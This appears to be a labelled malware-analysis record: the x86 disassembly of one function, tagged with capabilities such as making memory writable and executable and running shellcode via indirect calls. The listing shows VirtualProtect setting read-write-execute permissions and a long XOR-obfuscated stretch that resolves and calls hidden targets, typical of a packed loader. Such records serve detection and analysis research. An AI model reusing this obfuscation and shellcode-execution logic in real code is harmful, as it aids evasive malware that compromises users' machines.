Function at 0x409ce7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
push ebp
mov ebp, esp
push ecx
mov ecx, eax
add esp, 0xfffffffc
mov dword [esp], ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], ebx
mov ebx, edx
add esp, 0xfffffffc
mov dword [esp], ebx
push 0x5a74b216
mov ebx, 0x59eff303
pop eax
xor ebx, eax
push ebx
mov eax, ebp
add esp, 0xfffffffc
mov dword [esp], eax
sub esp, 4
mov eax, esp
mov dword [eax], esi
mov ebx, edi
push ebx
push 0x5bf78bf0
mov edi, 0x5bb71b70
pop ebx
xor edi, ebx
mov ebx, 0xc8ed405
mov eax, 0xc8e9505
xor eax, ebx
xor edi, eax
push edi
pop eax
mov ebx, 0x21
add eax, ebx
add eax, 0xffffffff
mov edx, dword [eax - 0x20]
mov esi, 0
xor esi, edx
mov eax, 0xffffffc2
sub esi, eax
mov edi, dword [esi - 0x3e]
mov eax, 0
xor eax, edi
mov ebx, 0xd50633d2
xor eax, ebx
xor eax, 0x2af9cc2d
and eax, 0x5c42e130
and edi, 0xa3bd1ecf
or edi, eax
mov ecx, edi
mov edx, ecx
add esp, 0xfffffffc
mov dword [esp], edx
pop esi
mov edi, 4
sub esp, edi
mov edi, esp
xchg edi, edx
mov dword [edx], esi
push 0xda1a6fc5
mov edi, 0xd0d717e
pop ecx
xor edi, ecx
xor esi, edi
mov ecx, esi
sub esp, 4
mov dword [esp], ecx
mov edi, dword [esp]
add esp, 4
xor edi, 0
jne 0x409dda
mov edx, 0x92747d6
xor edx, 0x92747d6
add esp, 0xfffffffc
mov dword [esp], edx
pop ebx
mov esi, 0xfffffffc
add esp, esi
mov ecx, esp
xchg eax, ecx
mov dword [eax], ebx
mov edi, 0x242810
mov ecx, 0x890810c
xor edi, ecx
xor ebx, edi
mov edx, ebx
xor edx, 0xffffffff
and edx, 0x54f66dd3
and ebx, 0xab09922c
or ebx, edx
and ebx, 0xffff
sub esp, 4
mov edi, esp
mov dword [edi], ebx
mov esi, dword [esp]
sub esp, 0xfffffffc
or esi, 0
jne 0x409e3e
mov edi, 0x642a71bc
xor edi, 0x642a71bc
add esp, 0xfffffffc
mov dword [esp], edi
mov edx, esp
sub edx, 0xfffffffa
mov ecx, dword [edx - 6]
mov ebx, 0xfffffffc
sub esp, ebx
mov esi, 4
sub esp, esi
push esp
pop edx
mov dword [edx], ecx
mov edi, 0x6a062d8d
mov edx, 0xe80ce742
xor edx, edi
xor ecx, edx
mov ebx, ecx
xor ebx, 0xffffffff
and ebx, 0x5da4a0aa
and ecx, 0xa25b5f55
or ecx, ebx
cmp ecx, 0
jne 0x409e98
mov edi, 0x1bbbc3e2
xor edi, 0x1bbbc3e2
sub esp, 4
mov dword [esp], edi
pop eax
xor edi, edi
add edi, eax
push edi
pop ebx
and ebx, 0xffffffff
jne 0x40a219
mov ecx, 0x1354be93
add ecx, 0x3aa828a5
push 0x838521
mov ebx, 0x4d3fb3a1
pop eax
xor ebx, eax
xor ebx, ecx
xor edx, edx
add edx, ebx
mov eax, 1
sub edx, eax
mov edi, dword [edx + 1]
push edi
pop eax
sub esp, 4
mov esi, esp
mov dword [esi], eax
mov eax, 0x7215b8a8
add eax, 0xaf4ffed
push 0x6c712998
mov ebx, 0x113b4091
pop ecx
xor ebx, ecx
xor ebx, eax
mov esi, ebx
mov edx, esi
add edx, 0xffffffff
mov edi, dword [edx + 1]
xor ecx, ecx
add ecx, edi
mov edx, ecx
push edx
pop ebx
mov edi, 0x5f925156
add edi, 0xaa
push edi
mov edi, 0x32336c2b
add edi, 0x3a
push edi
mov edi, 0x50c1c1fe
xor edi, 0x3eb3a495
sub esp, 4
mov dword [esp], edi
xor edx, edx
add edx, esp
mov esi, 4
sub esp, esi
mov dword [esp], edx
call ebx
mov ecx, 0x1207a5a4
mov edx, 0xedf85a50
xor ecx, edx
sub esp, ecx
mov edx, ebx
mov ecx, edx
sub esp, 4
mov edx, esp
mov dword [edx], ecx
pop ebx
pop esi
mov edi, 0x206801
mov ecx, 0x450460
xor edi, ecx
push edi
mov ecx, 0x4e54c965
xor ecx, 0x2d3b8501
push ecx
push 0x6988a5e
mov edx, 0x67fdf836
pop edi
xor edx, edi
push edx
mov edx, 0x885e28f
xor edx, 0x5cf187c8
push edx
xor edi, edi
add edi, esp
mov ecx, edi
sub esp, 4
mov dword [esp], ecx
xor ecx, ecx
add ecx, eax
add esp, 0xfffffffd
add esp, 0xffffffff
mov dword [esp], ecx
call esi
mov edx, 9
add esp, edx
mov ecx, 0xfffffff9
sub esp, ecx
mov edx, 0
xor edx, esi
mov ecx, edx
sub esp, 4
mov dword [esp], ecx
push ebx
pop esi
mov ecx, 4
sub esp, ecx
mov dword [esp], esi
xor ecx, ecx
add ecx, eax
xchg ebx, ecx
mov ecx, esp
add ecx, 0xffffffda
mov esi, dword [ecx + 0x26]
mov ecx, 0xfffffffc
sub esp, ecx
mov edi, 0x105000
mov edx, 0x40010700
xor edi, edx
push edi
mov edi, 0x6130526c
xor edi, 0x53033e09
push edi
mov ecx, 0x1ff9b631
xor ecx, 0x718bd35a
sub esp, 4
mov dword [esp], ecx
mov edi, 0
xor edi, esp
mov ecx, edi
push ecx
call esi
mov edx, 0x54347a9
mov ecx, 0xfabcb85d
xor ecx, edx
sub esp, ecx
mov edx, esi
xchg ecx, edx
mov edi, 0xfffffffc
add esp, edi
mov dword [esp], ecx
pop esi
mov ecx, esp
add ecx, 0xffffffad
mov edi, dword [ecx + 0x53]
mov ecx, 4
add esp, ecx
mov ecx, 0x61505099
xor ecx, 0x610735f7
sub esp, 4
mov dword [esp], ecx
push 0x2e6f1964
mov ecx, 0x47237d0a
pop edx
xor ecx, edx
push ecx
push 0xdc2277c
mov ecx, 0x6caf4a13
pop edx
xor ecx, edx
push ecx
mov ecx, 0x4374650b
add ecx, 0x3c
push ecx
xor ecx, ecx
add ecx, esp
mov edx, ecx
sub esp, 4
mov dword [esp], edx
xor ecx, ecx
add ecx, eax
mov edx, ecx
sub esp, 4
mov dword [esp], edx
call edi
mov ecx, 0xfffffffd
sub esp, ecx
mov ecx, 0xfffffff3
sub esp, ecx
mov ecx, 0
xor ecx, edi
mov edx, ecx
push edx
mov ecx, esi
xchg ecx, edx
mov edi, 0xfffffffc
add esp, edi
mov dword [esp], edx
mov edx, 0
xor edx, ebx
mov esi, edx
push esi
mov edx, eax
mov edi, edx
sub esp, 4
mov ecx, esp
mov dword [ecx], edi
mov edx, 0x184040
mov edi, 0x809281
xor edx, edi
mov esi, 0x50937692
add esi, 0xaf73b18e
xor edx, esi
mov ebx, 0
xor ebx, edx
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], ebx
pop eax
mov ebx, esp
sub ebx, 0x35
mov edi, dword [ebx + 0x35]
mov ebx, 0xfffffffc
sub esp, ebx
mov edx, eax
and edx, 1
mov esi, edx
push esi
mov ebx, dword [esp]
sub esp, 0xfffffffc
and ebx, 0xffffffff
je 0x40a16e
pop edx
push edi
pop ecx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], ecx
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], edx
mov edi, dword [esp]
sub esp, 0xfffffffc
push edi
pop ebx
mov ecx, ebx
add esp, 0xfffffffc
mov dword [esp], ecx
mov esi, 0xfffffffc
add esp, esi
mov esi, esp
xchg ecx, esi
mov dword [ecx], eax
call edi
mov esi, esp
sub esi, 0xffffff9e
mov edx, dword [esi - 0x62]
mov ecx, 0xfffffffc
sub esp, ecx
mov edi, 0x75c52bec
xor edi, 0x8a3ad413
add edx, edi
and edx, 0xeeffffff
mov esi, 0
xor esi, edx
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], esi
mov ecx, 0
mov esi, 0
xor ecx, esi
xor ecx, edx
and ecx, edx
jne 0x40a129
mov edx, 0x4e4be73d
add edx, 0xb1b418cf
add esp, edx
push 0x1be842a9
mov edx, 0x1be842a1
pop esi
xor edx, esi
add esp, edx
pop ecx
mov edi, 0x346300aa
mov edx, 0x9004001
xor edi, edx
push edi
push 0x7130ef17
mov ebx, 0x4c13f2e7
pop edx
xor ebx, edx
mov ecx, dword [esp]
sub esp, 0xfffffffc
xor ebx, ecx
call ebx
mov edi, dword [esp]
sub esp, 0xfffffffc
mov esi, dword [esp]
sub esp, 0xfffffffc
pop ebp
mov ebx, 4
add esp, ebx
pop edx
pop ebx
pop eax
pop ecx
pop ebp
jmp 0x409b78